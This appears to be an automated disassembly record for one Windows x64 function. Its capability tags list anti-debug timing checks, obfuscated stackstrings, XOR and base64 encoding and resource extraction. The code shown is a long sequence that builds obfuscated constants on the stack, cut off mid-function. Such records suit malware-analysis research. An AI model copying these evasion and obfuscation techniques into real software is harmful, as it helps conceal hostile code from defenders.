Function at 0x140011ac0
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Contain obfuscated stackstrings
Decompress data using quicklz
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file size
Hash data using fnv
Parse pe header
Read file on windows
Read from mailslot
Read pipe
Set current directory

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1ed98
call fcn.140185730
sub rsp, rax
mov byte [rsp + 0x50], 0x69
mov eax, 0x13f
mov word [rsp + 0x7b4], ax
movabs rax, 0x7d8a3a48b48eb7
mov qword [rsp + 0x6f10], rax
mov byte [rsp + 0x51], 0x33
mov byte [rsp + 0x52], 0x59
mov byte [rsp + 0x53], 0x29
movabs rax, 0x7cf33e41ed8b85
mov qword [rsp + 0x6f18], rax
mov byte [rsp + 0x54], 0x67
movabs rax, 0x754d514845f2eb
mov qword [rsp + 0x6f20], rax
movabs rax, 0x7c40690b34b8f3
mov qword [rsp + 0x6f28], rax
movabs rax, 0x7d6d2fd25eac39
mov qword [rsp + 0x6f30], rax
mov byte [rsp + 0x55], 0x6a
mov byte [rsp + 0x56], 0x4d
mov eax, 0xff
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0x57], 0x34
mov eax, 0x337
mov word [rsp + 0x7bc], ax
mov dword [rsp + 0x395c], 0xc3a4
mov byte [rsp + 0x58], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x3960], 0x723dbf15
mov eax, 0x54e
mov word [rsp + 0x7c0], ax
mov dword [rsp + 0x3964], 0x39cda855
movabs rax, 0x7259d7f15aa4a8
mov qword [rsp + 0x6f38], rax
movabs rax, 0x7a89fcdee4650f
mov qword [rsp + 0x6f40], rax
mov byte [rsp + 0x59], 0x83
mov byte [rsp + 0x5a], 0x4f
mov eax, 0x38a
mov word [rsp + 0x7c4], ax
movabs rax, 0x7bb91929aeca2b
mov qword [rsp + 0x6f48], rax
mov dword [rsp + 0x3968], 0x10f2
mov byte [rsp + 0x5b], 0x59
mov byte [rsp + 0x5c], 0x79
mov eax, 0x89
mov word [rsp + 0x7c8], ax
mov eax, 0x272
mov word [rsp + 0x7cc], ax
mov eax, 0x37d
mov word [rsp + 0x7d0], ax
mov dword [rsp + 0x396c], 0xf8c0
mov dword [rsp + 0x3970], 0x257c3388
movabs rax, 0x70affdd66b0dfe
mov qword [rsp + 0x6f50], rax
mov eax, 0x9fe
mov word [rsp + 0x7d4], ax
movabs rax, 0x77c76b8458e433
mov qword [rsp + 0x6f58], rax
movabs rax, 0x794186c8e6f6f5
mov qword [rsp + 0x6f60], rax
movabs rax, 0x7e06d75413e07a
mov qword [rsp + 0x6f68], rax
mov byte [rsp + 0x5d], 0x4e
mov dword [rsp + 0x3974], 0x93b1
movabs rax, 0x711eef8b815808
mov qword [rsp + 0x6f70], rax
mov dword [rsp + 0x3978], 0x8dbc
mov eax, 0x16d
mov word [rsp + 0x7d8], ax
mov eax, 0x320
mov word [rsp + 0x7dc], ax
mov eax, 0xc9f
mov word [rsp + 0x7e0], ax
mov eax, 0x1fb
mov word [rsp + 0x7e4], ax
mov byte [rsp + 0x5e], 0x6a
movabs rax, 0x753a50762d1d25
mov qword [rsp + 0x6f78], rax
mov dword [rsp + 0x397c], 0x8f3b
movabs rax, 0x7ae3f85d66eb8f
mov qword [rsp + 0x6f80], rax
mov eax, 0xe85
mov word [rsp + 0x7e8], ax
mov dword [rsp + 0x3980], 0xe973
mov eax, 0x129
mov word [rsp + 0x7ec], ax
mov dword [rsp + 0x3984], 0x56a0
mov dword [rsp + 0x3988], 0x6659
mov byte [rsp + 0x5f], 0x74
movabs rax, 0x7a9c8bfdfa38cc
mov qword [rsp + 0x6f88], rax
mov eax, 0x343
mov word [rsp + 0x7f0], ax
mov eax, 0xf8d
mov word [rsp + 0x7f4], ax
mov eax, 0x53d
mov word [rsp + 0x7f8], ax
movabs rax, 0x7b60bb8ef0d752
mov qword [rsp + 0x6f90], rax
mov eax, 0x63e
mov word [rsp + 0x7fc], ax
mov eax, 0x66
mov word [rsp + 0x800], ax
mov eax, 0x672
mov word [rsp + 0x804], ax
movabs rax, 0x7c72dd3ecf6ac5
mov qword [rsp + 0x6f98], rax
mov eax, 0x381
mov word [rsp + 0x808], ax
mov eax, 0x8f2
mov word [rsp + 0x80c], ax
movabs rax, 0x7642a46a0f90b1
mov qword [rsp + 0x6fa0], rax
mov eax, 0x3b2
mov word [rsp + 0x810], ax
movabs rax, 0x7aac7da7cbe76f
mov qword [rsp + 0x6fa8], rax
mov byte [rsp + 0x60], ILIsParent
mov eax, 0x38c
mov word [rsp + 0x814], ax
mov dword [rsp + 0x398c], 0xf6b1
mov dword [rsp + 0x3990], 0x8b0d
movabs rax, 0x771f7f22e04607
mov qword [rsp + 0x6fb0], rax
movabs rax, 0x701cbfd0c5e1fa
mov qword [rsp + 0x6fb8], rax
mov byte [rsp + 0x61], 0x6f
mov dword [rsp + 0x3994], 0x743b1029
movabs rax, 0x7759736327084f
mov qword [rsp + 0x6fc0], rax
movabs rax, 0x7247546d1d1558
mov qword [rsp + 0x6fc8], rax
mov dword [rsp + 0x3998], 0x113f93fe
movabs rax, 0x795187d4f44ff6
mov qword [rsp + 0x6fd0], rax
movabs rax, 0x7678b251ac289a
mov qword [rsp + 0x6fd8], rax
movabs rax, 0x72bc2d38177690
mov qword [rsp + 0x6fe0], rax
mov eax, 0x862
mov word [rsp + 0x818], ax
mov byte [rsp + 0x62], 0x3c
movabs rax, 0x73c402cc8e4d45
mov qword [rsp + 0x6fe8], rax
mov byte [rsp + 0x63], ILIsEqual
mov byte [rsp + 0x64], 2
mov byte [rsp + 0x65], 0xa9
movabs rax, 0x73c3ef0771bbfb
mov qword [rsp + 0x6ff0], rax
mov byte [rsp + 0x66], 0xd2
mov eax, 0x21c
mov word [rsp + 0x81c], ax
mov dword [rsp + 0x399c], 0x94c6
movabs rax, 0x7089eef8fc79f2
mov qword [rsp + 0x6ff8], rax
mov byte [rsp + 0x67], 0xc3
mov eax, 0x82d
mov word [rsp + 0x820], ax
movabs rax, 0x7a184ecfca398c
mov qword [rsp + 0x7000], rax
mov byte [rsp + 0x68], 0x7c
mov byte [rsp + 0x69], 0x4e
mov eax, 0xe35
mov word [rsp + 0x824], ax
movabs rax, 0x7349fea036aa99
mov qword [rsp + 0x7008], rax
mov eax, 0x2bf
mov word [rsp + 0x828], ax
movabs rax, 0x786184f3f5c3cc
mov qword [rsp + 0x7010], rax
movabs rax, 0x7814fc08cacc8c
mov qword [rsp + 0x7018], rax
mov byte [rsp + 0x6a], 0x5f
movabs rax, 0x7960346af4927c
mov qword [rsp + 0x7020], rax
movabs rax, 0x720dd06c1bfd5d
mov qword [rsp + 0x7028], rax
mov eax, 0x406
mov word [rsp + 0x82c], ax
movabs rax, 0x7c5c2dbec3e446
mov qword [rsp + 0x7030], rax
mov byte [rsp + 0x6b], 0x86
mov eax, 0x113
mov word [rsp + 0x830], ax
mov eax, 0x54d
mov word [rsp + 0x834], ax
mov eax, 0x125
mov word [rsp + 0x838], ax
mov eax, 0x3d1
mov word [rsp + 0x83c], ax
mov byte [rsp + 0x6c], 0x72
mov eax, 0xd05
mov word [rsp + 0x840], ax
movabs rax, 0x7354b89b38ebe5
mov qword [rsp + 0x7038], rax
movabs rax, 0x74b82e1f3073d2
mov qword [rsp + 0x7040], rax
mov eax, 0xe0b
mov word [rsp + 0x844], ax
mov eax, 0x75f
mov word [rsp + 0x848], ax
mov eax, 0x248
mov word [rsp + 0x84c], ax
movabs rax, 0x74dc92a1dcfcb2
mov qword [rsp + 0x7048], rax
mov dword [rsp + 0x39a0], 0x2c91
movabs rax, 0x79bb1d9c464b34
mov qword [rsp + 0x7050], rax
mov eax, 0x64c
mov word [rsp + 0x850], ax
movabs rax, 0x7839bb6a2a68bc
mov qword [rsp + 0x7058], rax
mov byte [rsp + 0x6d], 0x77
mov eax, 0x617
mov word [rsp + 0x854], ax
mov byte [rsp + 0x6e], 0xc8
mov eax, 0x429
mov word [rsp + 0x858], ax
mov eax, 0x7e3
mov word [rsp + 0x85c], ax
movabs rax, 0x7cc0a5e2a26d4d
mov qword [rsp + 0x7060], rax
mov eax, 0x207
mov word [rsp + 0x860], ax
movabs rax, 0x727e05550d19c8
mov qword [rsp + 0x7068], rax
movabs rax, 0x77954aaabfd019
mov qword [rsp + 0x7070], rax
movabs rax, 0x79d5c767c96c4a
mov qword [rsp + 0x7078], rax
mov dword [rsp + 0x39a4], 0x2c66
mov eax, 0x407
mov word [rsp + 0x864], ax
mov byte [rsp + 0x6f], 0x51
mov dword [rsp + 0x39a8], 0x833c
mov eax, 0x22d
mov word [rsp + 0x868], ax
movabs rax, 0x75d86ea87d07be
mov qword [rsp + 0x7080], rax
movabs rax, 0x74b998bfd66fae
mov qword [rsp + 0x7088], rax
mov byte [rsp + 0x70], ILIsEqual
mov byte [rsp + 0x71], PathYetAnotherMakeUniqueName
mov eax, 0x1f7
mov word [rsp + 0x86c], ax
mov dword [rsp + 0x39ac], 0xbb75
mov eax, 0xfe5
mov word [rsp + 0x870], ax
mov dword [rsp + 0x39b0], 0x7a07b464
mov eax, 0x64e
mov word [rsp + 0x874], ax
mov byte [rsp + 0x72], 0x24
movabs rax, 0x7c529ae567122d
mov qword [rsp + 0x7090], rax
mov dword [rsp + 0x39b4], 0x2f88
mov eax, 0x2d0
mov word [rsp + 0x878], ax
movabs rax, 0x7e631faa03668e
mov qword [rsp + 0x7098], rax
movabs rax, 0x71919ee1981a26
mov qword [rsp + 0x70a0], rax
mov eax, 0xd85
mov word [rsp + 0x87c], ax
mov dword [rsp + 0x39b8], 0x89da
mov byte [rsp + 0x73], 0x96
movabs rax, 0x77042c7c3b3f74
mov qword [rsp + 0x70a8], rax
mov eax, 0x22b
mov word [rsp + 0x880], ax
mov dword [rsp + 0x39bc], 0x728e9f5a
mov dword [rsp + 0x39c0], 0x7bf3
mov byte [rsp + 0x74], 0x3e
mov eax, 0x39f
mov word [rsp + 0x884], ax
movabs rax, 0x7ec6097a04fb21
mov qword [rsp + 0x70b0], rax
mov dword [rsp + 0x39c4], 0x2229a440
movabs rax, 0x70c73fe0efb32b
mov qword [rsp + 0x70b8], rax
movabs rax, 0x73b7f28ba789f3
mov qword [rsp + 0x70c0], rax
mov byte [rsp + 0x75], 0x27
mov eax, 0x5c8
mov word [rsp + 0x888], ax
mov eax, 0x363
mov word [rsp + 0x88c], ax
movabs rax, 0x78d8ab8dbefe92
mov qword [rsp + 0x70c8], rax
movabs rax, 0x747f1db7f4ee0e
mov qword [rsp + 0x70d0], rax
mov eax, 0x792
mov word [rsp + 0x890], ax
mov byte [rsp + 0x76], 0xa3
movabs rax, 0x7bd7d91c21a2f4
mov qword [rsp + 0x70d8], rax
mov byte [rsp + 0x77], 0x65
movabs rax, 0x7a4358569efd18
mov qword [rsp + 0x70e0], rax
mov eax, 0x57e
mov word [rsp + 0x894], ax
movabs rax, 0x7a31b402b1895b
mov qword [rsp + 0x70e8], rax
mov dword [rsp + 0x39c8], 0x967a
movabs rax, 0x77484f6e17c8b8
mov qword [rsp + 0x70f0], rax
mov eax, 0x6a0
mov word [rsp + 0x898], ax
movabs rax, 0x70098bbb7b4b96
mov qword [rsp + 0x70f8], rax
mov byte [rsp + 0x78], 0x36
movabs rax, 0x7cc158dae162f6
mov qword [rsp + 0x7100], rax
mov byte [rsp + 0x79], reloc.SHELL32.dll_SHSetInstanceExplorer
mov eax, 0x59b
mov word [rsp + 0x89c], ax
movabs rax, 0x791aaf397615d5
mov qword [rsp + 0x7108], rax
movabs rax, 0x7613e435221e38
mov qword [rsp + 0x7110], rax
mov eax, 0xff0
mov word [rsp + 0x8a0], ax
mov dword [rsp + 0x39cc], 0x29439a72
mov dword [rsp + 0x39d0], 0x5789
movabs rax, 0x7c91f7b77221ef
mov qword [rsp + 0x7118], rax
mov eax, 1
mov word [rsp + 0x8a4], ax
movabs rax, 0x7b1b64e6e3f47b
mov qword [rsp + 0x7120], rax
mov dword [rsp + 0x39d4], 0x3b8
mov dword [rsp + 0x39d8], 0x6d15d992
mov eax, 0x776
mov word [rsp + 0x8a8], ax
movabs rax, 0x70de0a6ba2ba10
mov qword [rsp + 0x7128], rax
mov eax, 0x344
mov word [rsp + 0x8ac], ax
mov byte [rsp + 0x7a], 0x97
mov eax, 0xdb9
mov word [rsp + 0x8b0], ax
mov eax, 0x830
mov word [rsp + 0x8b4], ax
mov eax, 0xc5
mov word [rsp + 0x8b8], ax
mov dword [rsp + 0x39dc], 0x5458
mov eax, 0xd09
mov word [rsp + 0x8bc], ax
mov byte [rsp + 0x7b], SHDoDragDrop
mov eax, 0x8e0
mov word [rsp + 0x8c0], ax
movabs rax, 0x71efe88bd61fcd
mov qword [rsp + 0x7130], rax
mov eax, 0x7a5
mov word [rsp + 0x8c4], ax
movabs rax, 0x7319761e70ef2b
mov qword [rsp + 0x7138], rax
movabs rax, 0x7acf74599b4d8f
mov qword [rsp + 0x7140], rax
mov dword [rsp + 0x39e0], 0x6481
mov dword [rsp + 0x39e4], 0x3408
movabs rax, 0x705454c63c2d0d
mov qword [rsp + 0x7148], rax
mov eax, 0x602
mov word [rsp + 0x8c8], ax
mov byte [rsp + 0x7c], 0x30
mov dword [rsp + 0x39e8], 0x3068
mov eax, 0xee4
mov word [rsp + 0x8cc], ax
movabs rax, 0x7a8b9d33b3f27b
mov qword [rsp + 0x7150], rax
mov dword [rsp + 0x39ec], 0x3f7f03e8
mov dword [rsp + 0x39f0], 0x5049323
mov dword [rsp + 0x39f4], 0x21f7
mov dword [rsp + 0x39f8], 0x5c9
mov byte [rsp + 0x7d], 0xb
movabs rax, 0x723f14faaa2e92
mov qword [rsp + 0x7158], rax
movabs rax, 0x77fcbc4d9e0ef6
mov qword [rsp + 0x7160], rax
mov dword [rsp + 0x39fc], 0x8c3f
movabs rax, 0x77a5b4dc6ad8fb
mov qword [rsp + 0x7168], rax
mov eax, 0x3df
mov word [rsp + 0x8d0], ax
mov eax, 0xe4a
mov word [rsp + 0x8d4], ax
mov eax, 0x3f2
mov word [rsp + 0x8d8], ax
mov eax, 0xe5e
mov word [rsp + 0x8dc], ax
movabs rax, 0x73b279fdf9b358
mov qword [rsp + 0x7170], rax
mov eax, 0x7f3
mov word [rsp + 0x8e0], ax
movabs rax, 0x74863f5c19735f
mov qword [rsp + 0x7178], rax
mov eax, 0x6b2
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0x7e], ILFindLastID
movabs rax, 0x7ca9538a155f5b
mov qword [rsp + 0x7180], rax
movabs rax, 0x75d03282f2655a
mov qword [rsp + 0x7188], rax
mov dword [rsp + 0x3a00], 0x2930
mov eax, 0x230
mov word [rsp + 0x8e8], ax
mov byte [rsp + 0x7f], 0x80
mov eax, 0x40e
mov word [rsp + 0x8ec], ax
movabs rax, 0x7be8d3446b9c7b
mov qword [rsp + 0x7190], rax
mov dword [rsp + 0x3a04], 0xbbfe
mov byte [rsp + 0x80], 0x70
mov byte [rsp + 0x81], 0x3f
movabs rax, 0x763fbf900ba4f1
mov qword [rsp + 0x7198], rax
movabs rax, 0x7165867b3d7dda
mov qword [rsp + 0x71a0], rax
mov eax, 0x55a
mov word [rsp + 0x8f0], ax
mov byte [rsp + 0x82], 0x62
movabs rax, 0x7e2e866465e5a6
mov qword [rsp + 0x71a8], rax
mov dword [rsp + 0x3a08], 0x6cd13a12
mov dword [rsp + 0x3a0c], 0x379f
movabs rax, 0x741fb29dd62260
mov qword [rsp + 0x71b0], rax
mov eax, 0xb06
mov word [rsp + 0x8f4], ax
movabs rax, 0x7b3e19e9e8f692
mov qword [rsp + 0x71b8], rax
movabs rax, 0x758805e41970b5
mov qword [rsp + 0x71c0], rax
mov dword [rsp + 0x3a10], 0xc8e3
mov eax, 0xa1a
mov word [rsp + 0x8f8], ax
mov eax, 0x5e6
mov word [rsp + 0x8fc], ax
mov dword [rsp + 0x3a14], 0x9fb8
mov dword [rsp + 0x3a18], 0x479e
mov eax, 0x540
mov word [rsp + 0x900], ax
movabs rax, 0x71639aa8a078f0
mov qword [rsp + 0x71c8], rax
movabs rax, 0x7c32977d9e8a1b
mov qword [rsp + 0x71d0], rax
mov dword [rsp + 0x3a1c], 0x1b7b
movabs rax, 0x70a33edc5432cd
mov qword [rsp + 0x71d8], rax
mov eax, 0xdf8
mov word [rsp + 0x904], ax
mov byte [rsp + 0x83], 0x2e
mov dword [rsp + 0x3a20], 0x4973
mov dword [rsp + 0x3a24], 0x8f6e
mov byte [rsp + 0x84], 0x3d
mov eax, 0x718
mov word [rsp + 0x908], ax
mov eax, 0x367
mov word [rsp + 0x90c], ax
mov eax, 0x2b7
mov word [rsp + 0x910], ax
movabs rax, 0x751e8bb194334c
mov qword [rsp + 0x71e0], rax
movabs rax, 0x7075839f28ff63
mov qword [rsp + 0x71e8], rax
mov dword [rsp + 0x3a28], 0x7c50
mov eax, 0xc37
mov word [rsp + 0x914], ax
mov eax, 0xfe
mov word [rsp + 0x918], ax
mov eax, 0x3e5
mov word [rsp + 0x91c], ax
mov eax, 0xf56
mov word [rsp + 0x920], ax
movabs rax, 0x7dd07a55947b21
mov qword [rsp + 0x71f0], rax
movabs rax, 0x7c123e4d67d371
mov qword [rsp + 0x71f8], rax
mov byte [rsp + 0x85], ILIsEqual
mov eax, 0x9ee
mov word [rsp + 0x924], ax
movabs rax, 0x751b350ec7222a
mov qword [rsp + 0x7200], rax
movabs rax, 0x7a0a2610e23663
mov qword [rsp + 0x7208], rax
mov dword [rsp + 0x3a2c], 0x46fe65de
mov byte [rsp + 0x86], SHDoDragDrop
mov eax, 0x62a
mov word [rsp + 0x928], ax
mov dword [rsp + 0x3a30], 0x2223
mov byte [rsp + 0x87], SHDoDragDrop
mov eax, 0x17b
mov word [rsp + 0x92c], ax
mov byte [rsp + 0x88], ILIsEqual
movabs rax, 0x709719059f656c
mov qword [rsp + 0x7210], rax
mov eax, 0xb06
mov word [rsp + 0x930], ax
mov dword [rsp + 0x3a34], 0x634cf70c
mov eax, 0x300
mov word [rsp + 0x934], ax
mov dword [rsp + 0x3a38], 0x452f
mov eax, 0x412
mov word [rsp + 0x938], ax
mov eax, 0x5c0
mov word [rsp + 0x93c], ax
mov dword [rsp + 0x3a3c], 0x531b
mov dword [rsp + 0x3a40], 0xcb2f
mov eax, 0xd17
mov word [rsp + 0x940], ax
movabs rax, 0x7295fa0311aec4
mov qword [rsp + 0x7218], rax
mov dword [rsp + 0x3a44], 0x194c
mov eax, 0xaaf
mov word [rsp + 0x944], ax
mov byte [rsp + 0x89], 0x2d
mov byte [rsp + 0x8a], 0x97
mov byte [rsp + 0x8b], 0x39
mov byte [rsp + 0x8c], 0x1d
mov eax, 0x3fb
mov word [rsp + 0x948], ax
movabs rax, 0x7c4a51bfdab9c8
mov qword [rsp + 0x7220], rax
movabs rax, 0x7e6c5c0463ce20
mov qword [rsp + 0x7228], rax
mov byte [rsp + 0x8d], 0x31
movabs rax, 0x78ca7ef00ec3ea
mov qword [rsp + 0x7230], rax
movabs rax, 0x72a0301118bf86
mov qword [rsp + 0x7238], rax
mov byte [rsp + 0x8e], 0x64
movabs rax, 0x75feff0b9e0b62
mov qword [rsp + 0x7240], rax
movabs rax, 0x75a1334094d957
mov qword [rsp + 0x7248], rax
mov byte [rsp + 0x8f], 0xdc
mov eax, 0x6d6
mov word [rsp + 0x94c], ax
mov eax, 0xa87
mov word [rsp + 0x950], ax
movabs rax, 0x7988a503b86537
mov qword [rsp + 0x7250], rax
mov eax, 0xc4e
mov word [rsp + 0x954], ax
mov eax, 0xf95
mov word [rsp + 0x958], ax
mov eax, 0x2b5
mov word [rsp + 0x95c], ax
mov dword [rsp + 0x3a48], 0x68e04746
mov eax, 0x4ea
mov word [rsp + 0x960], ax
mov eax, 0x7e1
mov word [rsp + 0x964], ax
mov eax, 0x984
mov word [rsp + 0x968], ax
mov eax, 0x88c
mov word [rsp + 0x96c], ax
mov dword [rsp + 0x3a4c], 0x4426
mov eax, 0x6b5
mov word [rsp + 0x970], ax
mov eax, 0x7ab
mov word [rsp + 0x974], ax
movabs rax, 0x76fcd5a3402e3f
mov qword [rsp + 0x7258], rax
mov eax, 0x31c
mov word [rsp + 0x978], ax
mov eax, 0x601
mov word [rsp + 0x97c], ax
movabs rax, 0x71ef2fbed888fb
mov qword [rsp + 0x7260], rax
mov eax, 0x458
mov word [rsp + 0x980], ax
mov byte [rsp + 0x90], ILIsParent
mov byte [rsp + 0x91], 0x89
movabs rax, 0x718d796a48d5b0
mov qword [rsp + 0x7268], rax
mov eax, 0x262
mov word [rsp + 0x984], ax
mov eax, 0x3b4
mov word [rsp + 0x988], ax
mov byte [rsp + 0x92], PathYetAnotherMakeUniqueName
mov eax, 0x170
mov word [rsp + 0x98c], ax
mov dword [rsp + 0x3a50], 0x55b73e10
mov byte [rsp + 0x93], 0x66
mov eax, 0x24
mov word [rsp + 0x990], ax
movabs rax, 0x757f18b220d773
mov qword [rsp + 0x7270], rax
mov byte [rsp + 0x94], 0xe1
mov byte [rsp + 0x95], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x96], 0x3c
mov dword [rsp + 0x3a54], 0x9e04
movabs rax, 0x74ea1177a82854
mov qword [rsp + 0x7278], rax
mov eax, 0xdc9
mov word [rsp + 0x994], ax
movabs rax, 0x72f47b9fa9b69e
mov qword [rsp + 0x7280], rax
movabs rax, 0x7a4ef4d49a382f
mov qword [rsp + 0x7288], rax
mov byte [rsp + 0x97], 0x7a
movabs rax, 0x76693d76619c1b
mov qword [rsp + 0x7290], rax
mov eax, 0x8b4
mov word [rsp + 0x998], ax
mov eax, SHDoDragDrop
mov word [rsp + 0x99c], ax
mov dword [rsp + 0x3a58], 0xe318
mov byte [rsp + 0x98], 0x72
mov eax, 0x9e0
mov word [rsp + 0x9a0], ax
mov byte [rsp + 0x99], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x74c4988fa6655a
mov qword [rsp + 0x7298], rax
mov dword [rsp + 0x3a5c], 0x3020
mov byte [rsp + 0x9a], 0x24
movabs rax, 0x7cab3396538c9d
mov qword [rsp + 0x72a0], rax
movabs rax, 0x76bd62b91b2b1f
mov qword [rsp + 0x72a8], rax
movabs rax, 0x7e1ffe89492ea1
mov qword [rsp + 0x72b0], rax
mov eax, 0xd6c
mov word [rsp + 0x9a4], ax
movabs rax, 0x7b8898bc04c441
mov qword [rsp + 0x72b8], rax
movabs rax, 0x70cf48bf93fb0f
mov qword [rsp + 0x72c0], rax
mov dword [rsp + 0x3a60], 0x3001d094
mov dword [rsp + 0x3a64], 0x8135
mov byte [rsp + 0x9b], ILFindLastID
movabs rax, 0x703c362908ba24
mov qword [rsp + 0x72c8], rax
movabs rax, 0x756f3de9339754
mov qword [rsp + 0x72d0], rax
movabs rax, 0x72ad0ce9271d0c
mov qword [rsp + 0x72d8], rax
movabs rax, 0x7ac16f836ab409
mov qword [rsp + 0x72e0], rax
movabs rax, 0x7ee00651544882
mov qword [rsp + 0x72e8], rax
mov eax, 0x660
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x3a68], 0x55c8d14b
mov eax, 0xfd3
mov word [rsp + 0x9ac], ax
mov eax, 0xf7c
mov word [rsp + 0x9b0], ax
mov byte [rsp + 0x9c], 0x22
movabs rax, 0x72e5b82662ad83
mov qword [rsp + 0x72f0], rax
movabs rax, 0x7881166a6eb80c
mov qword [rsp + 0x72f8], rax
mov dword [rsp + 0x3a6c], 0xc32b
mov byte [rsp + 0x9d], 0x77
mov byte [rsp + 0x9e], 0x42
movabs rax, 0x73249c067f4bbd
mov qword [rsp + 0x7300], rax
movabs rax, 0x720fbb575c1f82
mov qword [rsp + 0x7308], rax
movabs rax, 0x7ee312a40a3f3a
mov qword [rsp + 0x7310], rax
movabs rax, 0x79545314428083
mov qword [rsp + 0x7318], rax
movabs rax, 0x7a02898bb21101
mov qword [rsp + 0x7320], rax
mov byte [rsp + 0x9f], SHSetInstanceExplorer
mov eax, 0x549
mov word [rsp + 0x9b4], ax
mov dword [rsp + 0x3a70], 0x656f
mov eax, 0x715
mov word [rsp + 0x9b8], ax
mov dword [rsp + 0x3a74], 0x6b17
mov eax, 0x2e8
mov word [rsp + 0x9bc], ax
mov eax, 0x12a
mov word [rsp + 0x9c0], ax
movabs rax, 0x704d4a090abe9d
mov qword [rsp + 0x7328], rax
mov eax, 0x70c
mov word [rsp + 0x9c4], ax
movabs rax, 0x74dff5b7e9296a
mov qword [rsp + 0x7330], rax
mov eax, 0x198
mov word [rsp + 0x9c8], ax
movabs rax, 0x76cddf508c0146
mov qword [rsp + 0x7338], rax
movabs rax, 0x7161049f3b47b6
mov qword [rsp + 0x7340], rax
mov byte [rsp + 0xa0], 0x77
movabs rax, 0x73d215e137a3b2
mov qword [rsp + 0x7348], rax
mov dword [rsp + 0x3a78], 0xc
mov byte [rsp + 0xa1], 0x68
mov eax, 0xf8
mov word [rsp + 0x9cc], ax
mov dword [rsp + 0x3a7c], 0x7ad09d86
mov eax, 0x7c6
mov word [rsp + 0x9d0], ax
movabs rax, 0x730e7007961aed
mov qword [rsp + 0x7350], rax
mov eax, 0x36
mov word [rsp + 0x9d4], ax
mov eax, 0x609
mov word [rsp + 0x9d8], ax
mov eax, 0x20
mov word [rsp + 0x9dc], ax
mov dword [rsp + 0x3a80], 0x53f13d8a
mov dword [rsp + 0x3a84], 0xa643
movabs rax, 0x707fc059b1243e
mov qword [rsp + 0x7358], rax
mov byte [rsp + 0xa2], SHDoDragDrop
mov dword [rsp + 0x3a88], 0x324f83eb
movabs rax, 0x7bb601f93b6f42
mov qword [rsp + 0x7360], rax
mov dword [rsp + 0x3a8c], 0x16cb4418
mov eax, 0xc3e
mov word [rsp + 0x9e0], ax
mov dword [rsp + 0x3a90], 0x18ee
mov byte [rsp + 0xa3], PathYetAnotherMakeUniqueName
mov eax, 0x216
mov word [rsp + 0x9e4], ax
movabs rax, 0x75d3281dad8174
mov qword [rsp + 0x7368], rax
movabs rax, 0x7b25f02aeac70e
mov qword [rsp + 0x7370], rax
mov dword [rsp + 0x3a94], 0x3131b00
mov eax, 0x252
mov word [rsp + 0x9e8], ax
movabs rax, 0x718a5a9a1cf388
mov qword [rsp + 0x7378], rax
mov eax, 0x41c
mov word [rsp + 0x9ec], ax
mov byte [rsp + 0xa4], PathYetAnotherMakeUniqueName
mov eax, 0x4f1
mov word [rsp + 0x9f0], ax
mov eax, 0x3f1
mov word [rsp + 0x9f4], ax
mov eax, 0x5d2
mov word [rsp + 0x9f8], ax
movabs rax, 0x7d7cb78f77dc27
mov qword [rsp + 0x7380], rax
mov eax, 0x46d
mov word [rsp + 0x9fc], ax
movabs rax, 0x762815b8d0ecc0
mov qword [rsp + 0x7388], rax
mov eax, 0x1e8
mov word [rsp + 0xa00], ax
mov dword [rsp + 0x3a98], 0x4e08
mov eax, 0xca1
mov word [rsp + 0xa04], ax
mov dword [rsp + 0x3a9c], 0x2fa5709e
mov dword [rsp + 0x3aa0], 0x1d72cd9b
mov eax, 0x77a
mov word [rsp + 0xa08], ax
mov byte [rsp + 0xa5], ILFindLastID
mov dword [rsp + 0x3aa4], 0xf627
mov eax, 0xfae
mov word [rsp + 0xa0c], ax
movabs rax, 0x71ec88225a97dc
mov qword [rsp + 0x7390], rax
mov byte [rsp + 0xa6], 0x1b
mov eax, 0x65b
mov word [rsp + 0xa10], ax
movabs rax, 0x737b2e9d195777
mov qword [rsp + 0x7398], rax
mov byte [rsp + 0xa7], 0x35
mov eax, 0xe93
mov word [rsp + 0xa14], ax
mov eax, 0xa2b
mov word [rsp + 0xa18], ax
movabs rax, 0x7dd2dd139f1e8b
mov qword [rsp + 0x73a0], rax
mov byte [rsp + 0xa8], 0xdd
movabs rax, 0x77afeef521e39d
mov qword [rsp + 0x73a8], rax
mov eax, 0x292
mov word [rsp + 0xa1c], ax
mov eax, 0x3e3
mov word [rsp + 0xa20], ax
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0xa24], ax
mov eax, 0x833
mov word [rsp + 0xa28], ax
mov eax, 0x4b4
mov word [rsp + 0xa2c], ax
mov dword [rsp + 0x3aa8], 0xa138
mov eax, 0x43e
mov word [rsp + 0xa30], ax
movabs rax, 0x77b4bbc8de2265
mov qword [rsp + 0x73b0], rax
mov dword [rsp + 0x3aac], 0xc551
mov eax, 0x12c
mov word [rsp + 0xa34], ax
mov eax, 0xa23
mov word [rsp + 0xa38], ax
mov eax, 0x151
mov word [rsp + 0xa3c], ax
movabs rax, 0x7e820b23a3a940
mov qword [rsp + 0x73b8], rax
mov byte [rsp + 0xa9], 0x96
mov eax, 0x508
mov word [rsp + 0xa40], ax
mov dword [rsp + 0x3ab0], 0x24ea0520
mov eax, 0x431
mov word [rsp + 0xa44], ax
mov eax, 0x40e
mov word [rsp + 0xa48], ax
mov eax, 0x4dc
mov word [rsp + 0xa4c], ax
mov eax, SHDoDragDrop
mov word [rsp + 0xa50], ax
movabs rax, 0x7d38c8fa4faf5d
mov qword [rsp + 0x73c0], rax
mov eax, 0x21f
mov word [rsp + 0xa54], ax
mov eax, 0x65a
mov word [rsp + 0xa58], ax
mov eax, 0x1f0
mov word [rsp + 0xa5c], ax
mov eax, ILFindLastID
mov word [rsp + 0xa60], ax
movabs rax, 0x79b1464c8e3a79
mov qword [rsp + 0x73c8], rax
movabs rax, 0x7a022ff096747c
mov qword [rsp + 0x73d0], rax
movabs rax, 0x7c59f566932a06
mov qword [rsp + 0x73d8], rax
movabs rax, 0x747b7aa44c34dd
mov qword [rsp + 0x73e0], rax
